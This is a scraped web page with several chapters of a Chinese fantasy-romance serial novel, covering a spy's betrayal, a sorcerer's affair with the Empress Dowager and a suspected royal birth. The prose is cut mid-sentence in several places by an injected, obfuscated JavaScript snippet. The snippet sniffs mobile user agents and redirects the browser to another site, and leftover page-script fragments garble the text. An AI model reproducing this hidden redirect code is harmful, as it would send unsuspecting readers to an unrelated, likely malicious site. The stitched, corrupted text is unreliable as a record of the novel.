l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134873|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影闪过,握着玉拂尘的手被什么扯了一下。 再次定睛望去时,徐菀见竟是流星将玉拂尘夺了过去,此时已奔到距他们几米远之处。 “流星?你在做什么?” 朱雀望见这一幕豁然一惊,啪嗒一声将火麒麟掉在了地上。 火麒麟被玉拂尘缩小后便不能再自主恢复大小,神力也受到极大限制。只有用玉拂尘再次施法,它才能变回原来的大小。 因此火麒麟摔在地上后嗷叫一声,接着便愤怒地向朱雀的小腿撞去。 但那力气却像挠痒痒一般,未引起朱雀的丝毫关注。 徐莞等人也因朱雀的语声,齐齐望向流星。 只见流星手持玉拂尘,戒备地望着他们,往常那双总是含着笑意与促狭的桃花眼,此时却是一片冰冷。 “对不住了。” 他仅说了这几个字,便从身上取出了一个黑口袋,接着动作迅速地将玉拂尘放进了进去。 玉拂尘被放进去后,袋子里却无丝毫装了物品的模样。 这一幕令朱雀无法理解,“流星你做了什么?玉拂尘呢?” 流星垂下眼睫,强抑住胸中翻涌的情绪,语声微颤道:“抱歉,玉拂尘已被传送到了我的主人手里。” “你的主人?是定北王?” “不。他的主人应该是卫颐吧。” 徐莞的语声传来,引得几人齐齐侧头向她望去。 “什么?流星大哥的主人是卫颐?”一切变化太快,白虎一时间感觉自己被丢入了另一个世界,“这…这怎么可能!” “他手中的口袋是明显是个道门法器,可将放入其中的物品瞬间传送到另一个配对的口袋中。”徐莞解释道: “这种法器不是一般道士所有的。再加上定北王不可能会命令你抢夺玉拂尘,而我想不出除了卫颐外,还有谁对玉拂尘如此执着。所以,你一直都在为卫颐办事。” 听完徐莞的一番分析,流星不得不佩服。 “夫人果然料事如神。可你们还是晚了一步。玉拂尘此时已在卫大人手中。” 第397章 397.我从未爱过你 “不过你们还是晚了一步,玉拂尘现下已在卫大人手中。” 徐莞凤眸微眯,定定望着流星,语声似寒冰利刃,“我只算到你与朱雀有缘无分,却未算到,你竟是卫颐的人。” 慕怀瑾亦微微凝眉,厉声道:“你是卫颐的人?那你这十几年来待在鄞玄身边,难道都是在为卫颐和太后办事?” 流星无半分迟疑,扬起下巴坦然道:“没错。” 一旁的朱雀望着眼前发生的一幕,不禁怔住了,完全无法理解到底发生了什么。 师父说流星是卫颐的人。 而流星自己也承认了,他还将他们千辛万苦找到的玉拂尘,直接给了卫颐! 这…这怎么可能! 她认识的流星不会做出这种事! 思及此,朱雀向他喊道:“流星,你到底怎么了?是不是卫颐用什么威胁了你你才为他办事?你说出来,我和师父还有侯爷都会帮你!” 流星听后却并无什么反应,依然低垂着头,如一朵被风雨打弯的睡莲,美丽又忧郁。 少倾,他抬起头向朱雀露出一抹嘲讽的笑,“呵呵,你以为我真的喜欢你,对你倾心了吗?算了吧,别自作多情。 我接近你只是为了打听更多关于慕怀瑾和徐莞的情报。你别以为自己对我有多重要!更别以为你可以说服我。 你在我眼里…什么都不是……” 流星鼓着一口气将那番话说完,却见对面朱雀的面庞刷地失去了血色,整个人好似被抽去了魂魄,怔怔望着他,纤薄的身子在风中不住颤抖。 此时的朱雀,已彻彻底底懵了,仿佛周遭的一切都化为一片虚无,只剩下她和目露讥诮的流星,相对而立。 流星在说什么? 他从来没有喜欢过我,接近我都是为了套取情报。他还让我别自作多情,我在他眼里什么都不是… 老天爷啊,这不是真的!告诉我这不是真的! “不…你在骗我是不是?你说的一切都是假话,就是为了让我恨你是不是?流星…你不要这样……” 朱雀的泪不知何时已漫过眼眶,顺着脸庞倏然滑落。晶莹剔透的泪水,映着她红彤彤的眼眶和鼻头,愈加令人疼惜心痛。 而这一颗颗滑落的泪珠,此刻却化成了一滴滴岩浆,滴落在流星的心头,令他痛不欲生。 可若是不这么做,同心咒的下一个要害的人便是朱雀。 流星紧咬下唇,下颚紧绷,强忍心中的痛楚,不让自己露出一星半点的真实情绪。 末了,他再次深吸一口气,用痛恨的目光瞪向对面四人。 “别再废话了!慕怀瑾和鄞玄都是我的仇人!我潜伏在鄞玄身边十多年,就是为了有朝一日能为家人报仇雪恨!” 慕怀瑾眸光一凛,“你和我们有仇?你到底是谁?” 流星仰首凉薄一笑,“呵呵我是谁? 十余年前,某次北疆军队大败无楞国后,你爹带着你和鄞玄,冲进盛国与无楞国交界处的一个村子里。” 流星说着,缓缓转身抬首向远处望去,语声中藏着难掩的苍凉。 “大概就是那边吧,将近二十年没回去过,我都有些记不清了。当时全村的人都上街去欢呼迎接你们凯旋。 可你们骑着高大的战马,战马的铁蹄踢翻了沿路的小摊,也一脚踏在我年仅三岁的弟弟身上。 我爹娘想扑上去救,却被周围的士兵拦住,说我爹娘是敌国奸细,想要谋害老永嘉侯和定北王。于是,他们当街将我爹娘斩杀。 而我,因为去的晚了一些,被卫大人的徒弟带走,这才逃过一劫。” 说到此处,流星转身回再次望向慕怀瑾,自嘲地笑着道:“我说的这些你肯定已经忘的一干二净了。也对,身份高贵的定北王与永嘉侯,怎么可能记得我这无名小卒?” 可慕怀瑾听完,却已完全想了起来。 “我记得那件事。原来是你是那对夫妇的另一个孩子。 当年的那件事确实是我爹的疏漏。我爹也异常自责,回营后我爹便将杀害你爹娘的那名将士处以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139435|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十鞭,将他撤职遣送回家。之后还派人带着抚恤金去你家,却发现你家已人去屋空。 我爹只好命人将你爹娘和弟弟厚葬。后来还在北疆的一些村子里找过你,却并未找到。没成想你竟是被卫颐带走了。” 说到此处,慕怀瑾顿了顿又道:“你恨我和我爹情有可原。但鄞玄与这件事无半点关系,你为何要帮着卫颐加害于他? 这十几年来鄞玄待你不薄,甚至将你当成他的心腹。你为何要做出此等背叛他的事?” 流星听罢,有一瞬间的恍惚。原来真相竟是如此。可老永嘉侯的确害了自己的弟弟,这个事实依旧未变。 “鄞玄与你们沆瀣一气。我自然也不会放过他!待卫大人利用玉拂尘法力大增后,就会帮我杀了你们,为我爹娘和弟弟报仇!” 望着被仇恨蒙蔽双眼的流星,徐莞发出一道无声的低叹。 “流星,你的本性并不坏。若是卫颐用玉拂尘将我们诛杀殆尽,你就开心了吗?到那时,手握他如此多把柄的你,恐怕也活不长了。不要再陷在仇恨的深潭中,被卫颐利用了。” “够了!不要再说了!”流星突然厉声吼道:“我不需要你们的怜悯。迟早有一日我会见到你们都死在我的剑下!” 喊罢,四人便眼看着流星从怀里取出一道符纸,将其往胸口一拍。 下一瞬,他的身影便刷的消失得无影无踪。 “流星!” 朱雀还想冲上前去,却被徐莞拉住,“别追了!他已经用符纸将自己传送回了京城。” 望着流星消失之处,朱雀忽然双腿一软,颓然坐倒在地,仿佛被抽干了所有的精气,眼中脑中都一片空白。 “姐姐!” “朱雀!” 白虎与徐莞的呼喊接连响起,二人蹲下身将她扶住,见她脸色煞白,整个人如同丢了魂一般,双眼毫无焦距,空洞无物。 “姐姐你怎么样?别吓我啊!” “朱雀你想开一点,我们都还在你身边。你要坚强!” 第398章 398.你才是我大业中的关键 “朱雀你要坚强!不要因为那个负心汉而轻贱自己,想不开做傻事。” 一道一道劝说的声音自耳边传来,朱雀却好似什么都听不见,什么都看不见,颓然坐在那里,脑中只回荡着师父曾向她说过的一句话。 “你与他有缘无分。若强行在一起,你会受伤的。” 她想象过无数流星会让她受伤的方式,却唯独未想过他竟是卫颐安插的奸细。 这就是他伤害我的方式吗? 简直比他移情别恋更伤人! 我该如何面对曾经劝阻过我的师父,又该如何面对曾经那样信任依恋他的自己? 远处,一行大雁排成人字形,自天空划过,向南飞去。 蓝天下,四人在湖畔怆然而立,身影倒映在一旁的湖水中,显得如此凄清冷寂。 === 京城,卫府。 修炼阁中的卫颐,手中捧着将将从传物锦囊中取出的玉拂尘,眼中是从未有过的激动与狂喜。 “玉拂尘…终究还是落到我手中了。” 他纤长白皙的手指,轻轻颤抖着从玉拂尘青色玉杆上抚过,恍若抚摸爱人的脸庞。 “阿茵,有了玉拂尘,我很快就能让你回来。” 就在这时,修炼阁内再次出现一股咒法扭曲。 卫颐抬眼望去,原来是流星用他给的瞬移符回到了卫府。 “大人,您可有拿到玉拂尘?”流星一站定,便向卫颐问道。 问完之后才发现,卫颐正手持玉拂尘,漫不经心地捋着拂尘上的龙须。 “拿到了。这次办的不错,多亏你了黑子。” 卫颐说着,眼睛却未看向流星,而是依然细细凝视着玉拂尘。 “那么…大人,可以请您帮我将同心咒解了吗?” 流星问罢,卫颐轻轻一挥玉拂尘,这才回身望向流星,语气淡漠道: “哦,同心咒啊…还不到时候。” 流星心中一震,“什…什么?” “我是说,还不到解开你同心咒的时候。”卫颐唇角一勾,极度魅惑,“你知道的,我的大业未成,还需要你倾力相助。所以等我大业一成,再为你解咒。” 跪在地上的流星死死握着拳头,抬眼望向卫颐时,眼中的愤恨几欲喷薄而出,“大人…你!” 盛怒之下,他猛然想要站起身攻击,可将将一催动肌肉,一股刺痛便从他的掌心传来,让他刚举起的拳头瞬间像是放进了烈火之中,痛得他死死捏着手腕跌倒在地。 “你…怎能如此…你…答应过我的……” 流星痛得阿胶青筋爆起,满脸涨红,额上冷汗涔涔,目眦欲裂。 卫颐缓缓走到他的身旁,居高临下垂眸轻蔑地望向他,“我答应你什么了? 别再这样了了黑子。这样一点也不像你。你还是好好站起来,乖乖继续为我做事吧。 如今定北王府你已经回不去了,便留在我府上,将定北王吩咐你们在沧源镇做的事都整理出来,我要择日去上报太后。哈哈哈哈……” 末了,夏紫入内将流星带了出去,修炼阁内便又仅剩下了卫颐一人。 少倾,修炼阁门外又起了一些响动。 “师父?师父您在修炼吗?我可以进去吗?” 是刘云蕊的声音。 卫颐凝眉露出一抹不耐的神色,不过想到他还要利用这个蠢女人,便又耐着性子,调整好表情与语气道: “没有,云蕊你进来吧。” 话音刚落,修炼阁的房门便吱呀一声打开,一张娇俏却略显憔悴的小脸出现在门外。 “师父!”刘云蕊兴致勃勃地来到卫颐跟前。 “云蕊今日怎么出来了?你的晕症好些了吗?”卫颐轻轻抚上她的发顶,关心亲切地问。 这一个多月来,刘云蕊时常会感到头晕目眩,有时失去意识后,再醒来,竟从自己的屋里到了其他地方。 而这段时间所发生的事,她没有一点印象。 刘云蕊遂将此事告诉了卫颐,卫颐为她炼制了几颗丹药,让她每日服一颗。 她已经服了五日,今日感觉精气神好了一些,又听夏紫说卫颐得了一件强**器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在失去意识的前一刻,刘云蕊感觉自己身子一歪,倒在了卫颐的臂弯中。 只听卫颐飘渺的嗓音隐约说了一句,“因为你才是我大业中的关键……” 第399章 399.半夜入宫幽会太后 从北疆回京城的一路上,朱雀一直窝在马车里,未再与他们说过一句话。 就连徐莞去劝,也只得到一句,“我没事师父,我想一个人静静。” 望着宛如失了魂魄,哭得眼泪都干了的朱雀,徐莞如何能不心疼。 早知如此,当初她就应该再狠心一些,严令禁止他们在一起。 可徐莞就算再如何会卜卦,也算不到如此细致的程度。 回到京城永嘉侯府,朱雀也未与他们多说,只说自己想要休息,便一个人回了房。 徐莞交待白虎好生照看着朱雀,慕怀灵听说他们回来,便想来询问一二,却被徐莞摇头打断。 而后她眼神示意白虎将慕怀灵和朱雀都带走,顺便给慕怀灵解释一番流星之事。 慕怀灵从朱雀的神态中看出一定发生了什么,于是便没有多问,与白虎一同将朱雀扶走。 随后慕怀瑾与徐莞甚至都没来得及稍作休息,就又赶去了定北王府,将此行发生之事告知鄞玄。 “什么?流星是卫颐的人!这怎么可能!” 甫一听到消息的鄞玄,一个字都不信。 与流星情同手足的冷锋,亦是一脸的难以置信,甚至还为流星说话。 “侯爷、夫人,此中是否有何误会。流星…流星他怎可能是奸细?他与我一同跟随王爷十余年,从未做出任何对王爷不利之事。 他…怎么可能……此中定有什么难以解释的原因,流星才……” “他什么都对我们说了。”慕怀瑾坐在王府正厅中道:“他就是十几年前被我爹失手伤害的那孩子的哥哥……” 慕怀瑾将流星的身世向鄞玄娓娓道来,鄞玄这才想起当年之事。 “我只记得…那年我在山林中突遇黑熊袭击。年仅十二岁的流星如野人一般忽然窜出,硬是凭着聪慧机敏,和过人的身手,一个人杀了黑熊,将我救下。我便将他带回了军营,逐渐培养成了我的先锋。 谁能想到,他竟是当年的那个孩子。” 鄞玄坐在正厅首座,手边的茶凉了都未喝一口,彻底被这个消息震懵。 冷锋还是不想相信这个事实,“王爷,侯爷,属下与流星共事十多年,几乎每日都在一起。他的本性我最清楚。 他绝不是那种会对王爷不利的人。他会不会是被卫颐下了咒,所以才…” “也不是没这个可能。”徐莞放下手中的冰酪,说出自己的见解: “在他从我手中夺走玉拂尘时,我隐约看到他右手心有一条黑线。那是被施了恶咒后才会有的。 所以流星有可能被卫颐施了恶咒,为了自保才不得已才帮他夺走玉拂尘。” “玉拂尘被卫颐夺走后会有何后果?”鄞玄问。 慕怀瑾立即接口道:“他夺走玉拂尘事小,关键是流星知晓你在沧源镇所做的准备。” 经他一提醒,鄞玄立时明白了他的意思。 “怀瑾的意思是,卫颐会将流星探到的关于沧源镇之事,禀告太后?” “没错。所以你要尽快处理沧源镇的安排,莫要让他们抓到把柄。” “明白。”鄞玄道:“好在冷锋与流星各负责了一部分。他们双方都互不知晓对方的情况。我们还可保留一部分实力。” 慕怀瑾点头道:“好,按你想的去做吧。若是准备好与他们正面对决,永嘉侯府与周府都会全力配合。” 慕怀瑾与徐莞坚定信任的眼神,为鄞玄带去了鼓励与信心,让他更加坚定自己的想法。 就在此时,他忽然想起了什么,说道:“对了,说到太后,你们不在的这段时日,我去皇陵祭奠我母妃与先帝后的陵墓,倒是有些意外发现。” 随后,鄞玄将之前在皇陵的所见所闻,及自己的推测,都尽数讲给慕徐二人。 慕怀瑾听罢,凝眉思忖着说:“如此说来,孝任皇后或许是被太后害死的?” “对,很有可能。”鄞玄起身,负手边走边道:“但目前没有证据。若是能找到证据,或许在将来对峙时会起到大用。 明日我再去一趟皇陵,问问上回遇见的方嬷嬷,说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147649|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定还能问出些什么。” === 时近亥时,夜色沉沉。 皇宫内各个宫门皆已落锁。整座皇宫灯火渐熄,只有各个宫殿的寝屋内还亮着一些微弱的光亮。 四下里一派静谧,偶尔有几声草叶窸窣与蝉鸣,提醒着守卫的宫人保持警惕。 而就在此时,太后寝宫嘉禾宫西南方的一处小角门,却吱呀一声开了。 门外之人身形高挑纤瘦,身披一件黑色斗篷,头上也戴着兜帽,遮住他的脸,仅在他微微抬头时,隐约可见其线条优美的下颌,及略尖的下巴。 为他开门的嬷嬷似乎对此已**以为常,开门后随即后退一步,躬身低头将他让进门,随后便带着此人往太后寝屋而去。 “请随奴婢这边走。” 来到太后的寝屋外,嬷嬷便停了下来,躬身抬手道:“太后已在等您了。” 戴兜帽的男子微微颔首,而后便抬手推开门走了进去。 嬷嬷迅速关上门立在门外,再也无人注意皇宫这一角发生之事。 寝屋内仅点着几盏宫灯,光线昏暗幽密。 宫灯上印着红色的图案,微微发红的烛光,为整个寝屋笼上一层暧昧靡靡的氛围。 那人进屋后,便将身上的兜帽与斗篷解开。 兜帽与斗篷轻轻滑落而下,掉在地毯上,倏然露出那人一身雪白的衣袍,光洁如瓷的肌肤,以及那一头黑亮水滑的长发。 正是卫颐无疑。 侧卧在床榻纱帘后的太后听到声音,缓缓撑起身子,轻声问,“是爱卿来了吗?” 卫颐上前几步来到珠帘外,单膝跪地道:“臣参见太后。” 话毕,前方的珠帘一掀,仅着着纤薄寝衣的太后,披散着一头长发,从中摇曳而出。 轻薄如纱的衣袂,在足边微微飘扬,衣香鬓影引人无限遐想。 “爱卿快起来吧。”太后毫不避讳地来到卫颐身旁,抱住他的手臂将他拉起。 之后仰首满怀期盼地望着他,“丹药带了吗?” 第400章 400.今晚留下伺候哀家吧 太后将卫颐扶起,满怀期盼地抬首望向他,“爱卿,丹药带了吗?” 细嫩光洁的面庞,和黑亮似水的眸子,在宫灯的映照下熠熠生辉。 卫颐露出他惯常的魅惑微笑,自袖中取出一小木盒,躬身低头双手举起,呈向太后面前。 “回太后,丹药在此。” 太后迫不及待地接过,打开后里面深红色的锦缎上,果然摆着一颗丹药。 不用太后开口,卫颐已转身抓过一旁桌案上的茶壶,为太后倒了杯茶水。 “太后请用。” 说着,将手中的茶盏恭敬递了过去。 太后先用两根纤长玉指捻起丹药,将丹药放入口中,之后接过茶盏饮下一口水将其咽下。 咽下去之后,太后长舒一口气,嘴角露出一抹心满意足的笑。 “总算是吃下了~爱卿,你一个月未来送药,哀家感觉自己这脸都起褶子了。” “太后多虑了。您的肌肤吹弹可破,与刚及笄的少女无二,哪里来的褶子。” 卫颐的语调温和中带着浅浅的诱惑,如游走在丝绸上的珍珠,无比矜贵丝滑,将太后听得心情甚好,露出羞赧又甜美的笑。 “就你嘴甜~”太后如小女儿见到心爱的情郎,娇嗔地轻捶一下卫颐的胸膛,又侧过头偷偷斜睨他一眼,掩唇羞怯一笑。 卫颐似已**以为常,拱手赤诚道:“臣所言皆是事实,不敢欺瞒太后。” 太后又睨了他几眼,才嘿嘿一笑,“行了,哀家不跟你贫嘴。你这一个月都做了什么?快快向哀家交待。” 太后的语气似小姑娘家赌气,一面伸出手臂,让卫颐搀扶着她向床榻而去。 “回太后,臣这一个月除了为您与陛下炼制丹药,还探得了一些极其重要的情报,是关于定北王的。” 卫颐一面说着,一面扶太后在床榻边坐下。 听见“定北王”三个字,将将坐下的太后蓦地抬起头,“定北王?他怎么了?” 卫颐竟随即也坐在了太后身边,将唇附在她耳边,向她小声说了些什么。 太后边听,眼眸渐渐睁大,眼中露出震惊又惊恐的表情。 可与此同时,卫颐柔软的唇时不时摩擦着她的耳廓,温热的呼吸喷在她耳中,又惹得她心底一阵酥麻。 卫颐说完后直起身与她拉开距离,“太后,这些就是臣探听到的。” 太后仿佛这时才回过神来,侧身赞赏地望着他,“爱卿做的很好,帮哀家探知了如此重要的情报。 哀家明日就让皇帝派人去沧源镇探查,一旦发现鄞玄擅自拥兵自重,便可立即下旨将其捉拿正法!” 卫颐起身拱手高呼,“太后英明!” 太后心情大好,嘴角含笑望着卫颐,意味深长道:“爱卿立此大功,哀家该如何赏赐你呢?” 卫颐忽然抬眸,目光毫不避讳地直视太后的双眼,带着一丝丝攻击性与征服欲,缓缓开口: “臣不敢求赏。只求今晚能服侍太后。” 太后的眼底倏然蹿起一簇火苗,这火苗很快便烧了起来,烧尽她的理智。 “爱卿也有段时日未服侍哀家了。今晚就让哀家看看你的技艺有无退步吧。” 卫颐闻言魅惑一笑,上前在太后身边坐下,两手抚上她半露的肩头,缓缓向她倾身而去: “能服侍太后,是臣的荣幸。臣定会尽己所能,让太后满意……” 太后的目光紧紧粘在卫颐面上,眼里全是卫颐俊美非凡的面庞。随后被卫颐带着,二人一同倒在被衾之中... === 翌日,永嘉侯府松风苑的花园内,几位少年少女,正围在一起逗弄着地上的一个小玩意儿。 只见那小玩意儿仅有手掌大小,似一尊骏马摆件,头部却是龙首的模样,身上也覆盖着一层七彩鳞片。 正是徐菀慕怀瑾从灵屿山请回的火麒麟。 当慕怀灵跟慕煜峥见到这个小家伙时,皆惊叹又爱不释手。 趁着慕怀瑾和徐菀在正厅与周祎仁谈事情,他二人便带着**章悄悄来到松风苑,与白虎一同给火麒麟喂食, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156958|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺便逗逗它玩。 此时,慕怀灵白虎,慕煜峥**章四人,皆在地上蹲作一圈,脑袋顶着脑袋,围在火麒麟周围,拿着小鱼丢在它附近给它喂食。 一向骄傲的火麒麟,如今真是虎落平阳被犬欺。可无奈它被玉拂尘缩小后,若是无玉拂尘再次施法,便不能变回正常大小,也无法发挥出正常神力。 所以它那个气啊! 低下头用龙角不停向他们几个的腿脚上撞去,还不时从口中喷出一簇簇火焰,将他们四人吓得连连惊呼后仰,**章直接一屁股坐到了地上。 可缩小形态的火麒麟,连喷出的火焰都只有手指长短,根本无任何杀伤力,四人吓一跳后立马又哈哈大笑起来,与火麒麟玩得更是欢畅。 就在四人被火麒麟追着在花园中又跑又叫时,朱雀所住的厢房的门忽然开了。 只见一身素服的朱雀,面无表情地走了出来,右手握着短剑,眼中蕴着浓浓的恨意和杀意。 白虎最先发现此情况,连忙奔过去问,“姐,你终于肯出来了!你要去哪儿?” 朱雀的目光依旧直视前方,不带一丝感情道:“我要去杀了流星。” 自前日他们回到永嘉侯府,朱雀便将自己关在屋里再没出来过。白虎为她端的饭食,她都一口未吃。 虽然仅有短短几日,朱雀却已瘦了一圈,面色苍白憔悴。 今日朱雀终于出来了,一开口却说出如此令人心惊之言,将白虎与慕怀灵等人震得愣在当地。 朱雀未再理会他们,继续向外走去。白虎等人又急忙追上去拦住她。 “姐,你别做傻事。师父说了让我们好好在府中待着,哪里都不要去。” 朱雀抬手便将白虎挥至一旁,“滚开!别管我!” 慕怀灵之前已听白虎说了流星之事,亦无比义愤填膺。但她更担心朱雀的状况,因而也跟着劝道: “朱雀,我能明白你的感受。流星那个混蛋确实该死。但你已有数日未好好吃饭休息了。你就这样去找他,确定能杀得了他吗?” 第401章 401.致命猜想 “你已有好几日未吃饭休息了。你如今这个样子,确定能杀得了他?” 听到慕怀灵的话,朱雀的脚步略有停顿,但下一刻还是执拗地继续向前走去。 “你们都别管我!杀不了他我就跟他同归于尽!” 话毕,朱雀从慕怀灵身旁绕开想要继续往外走,却迎面碰上了回来的徐菀和慕怀瑾等人。 “站住!哪都不许去!”徐菀定定望着朱雀,不怒自威。 “师父...”见到徐菀,朱雀终于有了些表情。 她轻咬下唇,眼底忽然泛起了些泪光,双肩也在不受控制地微微颤抖。 徐菀向前几步来到朱雀面前,拉起她的手,坚定又温柔地望着她的双眼,开口道: “师父明白你心里的痛。但此时还不是我们报仇的时候。师父答应你,待我们做好万全准备后,定让你亲手了结与流星的恩怨。” 听罢徐菀的话,朱雀的心仿佛被什么触动,好似沉溺在湍急的溪流中,快要溺水之前,忽然抓住了一根绳索,被人拉出了水面。 朱雀猛然深吸一口气,顿时感觉自己可以呼吸了。 下一刻,不知怎么的,朱雀鼻子一酸,忍不住再次哭了出来,“师父...” 徐菀随即抬手将她揽入怀中,轻拍着她的背脊,柔声安慰道:“哭吧。哭完之后忘了那个男人,继续走我们自己的路。” 听罢此话,朱雀在她颈窝处重重点头,而后哭得更大声了。 慕怀灵见此,也不由得红了眼眶,走上前去从背后轻轻抱住朱雀,自己竟也跟着哭了出来。 一旁的慕怀瑾和周祎仁又心疼又无奈。 慕怀瑾的目光与徐菀碰在一起,徐菀向他露出一抹“拿这些姑娘没办法”的眼神,而后两人不约而同都淡淡笑了。 没过多久,朱雀就跟慕怀灵抱在一起抱头痛哭,徐菀则从她们中退了出来,轻声安慰着她们。 就在此时,管家福叔一路小跑过来慌张来报。 “侯爷,冷锋将军到了!说有要事相告。” 慕怀瑾回身与周祎仁交换了一个眼神。方才他已将近期关于自己与鄞玄发生的一切都讲述给了周祎仁。周祎仁听罢当然一口答应会站在他们这边。 而冷锋此时前来,定是有了沧源镇那边的消息。 二人相视一眼,一同向正厅而去,“走。” 原本还在与朱雀抱头痛哭的慕怀灵,听到冷锋来了,极快地推开朱雀向慕怀瑾等人追了过去。 被推开的朱雀:“???” 重色轻友的家伙…… 徐莞望着朱雀弯唇一笑,抬手搂过她的肩,“走吧,我们也去听听。白虎,你跟煜峥平章照顾好麒麟大仙。” “放心吧师父!” 待众人齐聚永嘉侯府正厅,便见冷锋已在厅内等他们了。 “冷哥哥!”慕怀灵高声唤了道,一路小跑来到他身前。 冷锋望见慕怀灵眼中的担忧与关切,伸手捏了捏她的肩膀,向她投去“莫需担心”的眼神。 随后,慕怀瑾徐莞与周祎仁等人便也走了过来。 “冷锋将军。” “侯爷,夫人,周大人!”冷锋向他们行礼后道:“王爷不便出府,便命我将消息带给侯爷。” “有何消息,请说。” 众人落座后,冷锋道:“皇上果然派人去了沧源镇探查。万幸王爷已提前将流星负责的那方人马调离,这才让他们扑了个空。 但那些人似乎还未放弃,继续在周边的县镇搜查。所以我们将剩下的人马全都转移到了京城外向东五十里处。 那里曾是雪暴军的驻扎地,至今还留有一些当时军营的设施。他们一定打死都想不到,我们会再回到那里。” “做的好。”慕怀瑾认同道:“雪暴军营地距京城更近。若是他日动了干戈,你们也能迅速赶到。” 冷锋点点头,又蓦地想起一事,“对了,王爷今日又去皇陵,本想再次询问之前的那位嬷嬷,却被告知那位嬷嬷因身体不适,回家休养。 可王爷派人寻到那位嬷嬷的家中时,竟发现她已死在了屋中。” “什么!” 在场众人闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163410|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆是一震,“难道是太后得知这位嬷嬷与王爷接触过。怕她会将所知之事告诉王爷,所以**灭口?” “有这个可能。”冷锋道:“而且派去的人回来说,那位嬷嬷死时双目圆睁,眼白处呈红色,身上长满了脓疮,看起来像是**死的,死相狰狞可怖。” “眼白呈红色?”坐于首座的徐莞忽然开口,“她不是**,而是中了咒。” “中了咒?”众人齐齐望向她。 “没错。中咒的特征便是眼白变红,身出脓疮。若是不信的话,可将那位嬷嬷的尸首送去刑部检查一二。” “信!徐观主说的话哪有不信的道理。”周祎仁再次暴露捧哏属性。 “那么这施咒之人,定是卫颐无疑了吧。”慕怀瑾道。 徐莞点头,而后望向慕怀瑾道:“嗯。其实我一直有一个猜测,不知当讲不当讲。” “讲吧。此时此地都是值得信任的人。”慕怀瑾对她望着自己突然说此话有些奇怪。 徐莞却定定望着他,一字一句开口,“怀瑾,你身负紫气,连火麒麟都说要辅佐你成就大业。难道你就从来没怀疑过自己的身世吗?” 此话一出,在场所有人皆不约而同望向慕怀瑾。 慕怀瑾本人亦心内一惊。 他何尝没有怀疑过自己的身世。可一是他的娘亲还在世,若是去调查自己的身世,未免会伤了黎老夫人的心。 二来若是真调查出什么,再被旁人知晓,自己便会引来杀身之祸。 因此他即使怀疑,却从未求证过。 可徐莞今日忽然提起此事,到底是想说什么? “菀菀,你到底想说什么?难道你怀疑…我身上流着的,是皇族的血?” “不止是皇族。”徐莞的眸光瞬间变得凌厉深沉,“我怀疑,你的生母,就是孝任皇后。” 徐莞的话音一出,正厅外的天空突然划过一道闪电,映亮了厅内众人那一张张惊疑不定的脸。 随后,一阵响亮的雷鸣由远及近在他们头顶上方炸响,轰隆一声,惊得在场众人齐齐一凛。 第402章 402.肉身被夺 “不可能!孝任皇后因难产而崩,孩子也胎死腹中。我怎会是她的儿子?”连慕怀瑾自己都不信。 “等等。”一旁的周祎仁却开了口,“孝任皇后是哪一年驾崩的?” “我记得是建业二十八年。”慕怀瑾道。 “建业二十八年…不正是你出生的那一年吗怀瑾!” 周祎仁喊出的话,令在场众人豁然开窍。 慕怀瑾语塞片刻,“…这只是巧合吧。” “那么你身上的黑气,以及你那不能接近女子的怪疾又如何解释?”徐莞问。 “这…我不清楚。” 徐莞即刻斩钉截铁道:“你那根本不是怪疾,而是被施咒留下的后遗症。” 慕怀瑾再次一震。徐莞忍不住白了他一眼道: 